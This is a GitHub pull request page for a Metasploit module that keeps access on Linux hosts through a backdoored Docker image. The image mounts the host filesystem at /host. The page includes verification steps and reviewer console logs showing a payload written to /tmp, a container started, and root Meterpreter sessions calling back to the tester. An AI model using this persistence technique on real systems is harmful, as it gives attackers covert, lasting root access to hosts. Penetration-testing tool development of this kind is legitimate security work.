Skip to content

docker image persistence module - #20536

Merged
msutovsky-r7 merged 3 commits into
rapid7:masterfrom
h00die:docker_persistence
Sep 17, 2025
Merged

docker image persistence module#20536
msutovsky-r7 merged 3 commits into
rapid7:masterfrom
h00die:docker_persistence

Conversation

@h00die

@h00die h00die commented Sep 10, 2025

Copy link
Copy Markdown
Contributor

Draft module which creates a docker image on the box with our payload, and also maps / to /host allowing for easy upstream attacks of the host.

Verification

List the steps needed to make sure this thing works

  • Start msfconsole
  • Get a Meterpreter session
  • use exploit/linux/persistence/docker_image
  • set SESSION [SESSION]
  • run
  • You should get a new session from within the docker image with /host mounted from / on the host.

@h00die h00die added the module label Sep 10, 2025
@h00die
h00die marked this pull request as draft September 10, 2025 02:57
@h00die
h00die marked this pull request as ready for review September 10, 2025 17:47
@h00die h00die changed the title draft: docker image persistence module docker image persistence module Sep 10, 2025

@msutovsky-r7 msutovsky-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

msf exploit(linux/persistence/docker_image) > check
[*] Checking Docker availability and permissions...
[*] The service is running, but could not be validated. docker app is installed and accessible
msf exploit(linux/persistence/docker_image) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf exploit(linux/persistence/docker_image) > 
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//FXnTrRF
[*] Writing '/tmp//FXnTrRF' (1121480 bytes) ...
[*] 192.168.168.146 - Meterpreter session 2 closed.  Reason: Died
[*] Temporary container created: ba365ec6b4ea724f8b42dd95f24dab5e92cee010f3339e7a92c25f8c0a2f5134
[+] Persistent image created: alpine_urlksqax
[+] Container started with internal entrypoint: e761311980454ca86ae43e81f19cf055409bd0eaed6e31325a9c518886415f70
[*] Stopping and removing temp container
[*] Meterpreter session 4 opened (192.168.168.128:4444 -> 192.168.168.146:60154) at 2025-09-16 11:46:16 +0200
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/192.168.168.146_20250916.4626/192.168.168.146_20250916.4626.rc

Comment thread modules/exploits/linux/persistence/docker_image.rb Outdated
Comment thread modules/exploits/linux/persistence/docker_image.rb Outdated
Comment thread modules/exploits/linux/persistence/docker_image.rb Outdated
Comment thread modules/exploits/linux/persistence/docker_image.rb Outdated
Comment thread modules/exploits/linux/persistence/docker_image.rb Outdated
@msutovsky-r7 msutovsky-r7 self-assigned this Sep 16, 2025
@h00die

h00die commented Sep 16, 2025

Copy link
Copy Markdown
Contributor Author

accepted all suggestions!

@msutovsky-r7 msutovsky-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Looks good to me!

msf exploit(linux/persistence/docker_image) > run verbose=true 
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.168.128:4444 
msf exploit(linux/persistence/docker_image) > [*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking Docker availability and permissions...
[!] The service is running, but could not be validated. docker app is installed and accessible
[*] Writing backdoor to /tmp//mllatntIC
[*] Writing '/tmp//mllatntIC' (250 bytes) ...
[*] Temporary container created: 8b6c2c55c531dea6c44ea55156fa09ff0d1ea084a6eea55ee03387658a7e280a
[+] Persistent image created: alpine_agmfjiti
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.146
[+] Container started with internal entrypoint: 7b01dfc5cf301ce75d9f8a4f3ee2c57fc9d2f64b81fde7d2c9b8d59eb1745af8
[*] Stopping and removing temp container
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.146:60680) at 2025-09-17 09:54:08 +0200
[*] Payload installed and running with 600-second loop in container
[*] Meterpreter-compatible Cleanup RC file: /home/ms/.msf4/logs/persistence/192.168.168.146_20250917.5418/192.168.168.146_20250917.5418.rc

msf exploit(linux/persistence/docker_image) > sessions 

Active sessions
===============

  Id  Name  Type                   Information             Connection
  --  ----  ----                   -----------             ----------
  1         meterpreter x64/linux  root @ 192.168.168.146  192.168.168.128:4242 -> 192.168.168.146:45916 (192.168.168.146)
  2         meterpreter x64/linux  root @ 172.17.0.3       192.168.168.128:4444 -> 192.168.168.146:60680 (::1)

msf exploit(linux/persistence/docker_image) > sessions 2
[*] Starting interaction with 2...

meterpreter > sysinfo
Computer     : 172.17.0.3
OS           :  (Linux 6.8.0-79-generic)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root

@msutovsky-r7 msutovsky-r7 added the rn-modules release notes for new or majorly enhanced modules label Sep 17, 2025
@msutovsky-r7
msutovsky-r7 merged commit dc8d675 into rapid7:master Sep 17, 2025
18 checks passed
@msutovsky-r7

Copy link
Copy Markdown
Contributor

Release Notes

This adds a new persistence module - Docker image persistence. The module will create and run a Docker container, which will then run a payload. The container also has a host filesystem mounted to /host.

@h00die
h00die deleted the docker_persistence branch September 17, 2025 19:34
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

docs module rn-modules release notes for new or majorly enhanced modules

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants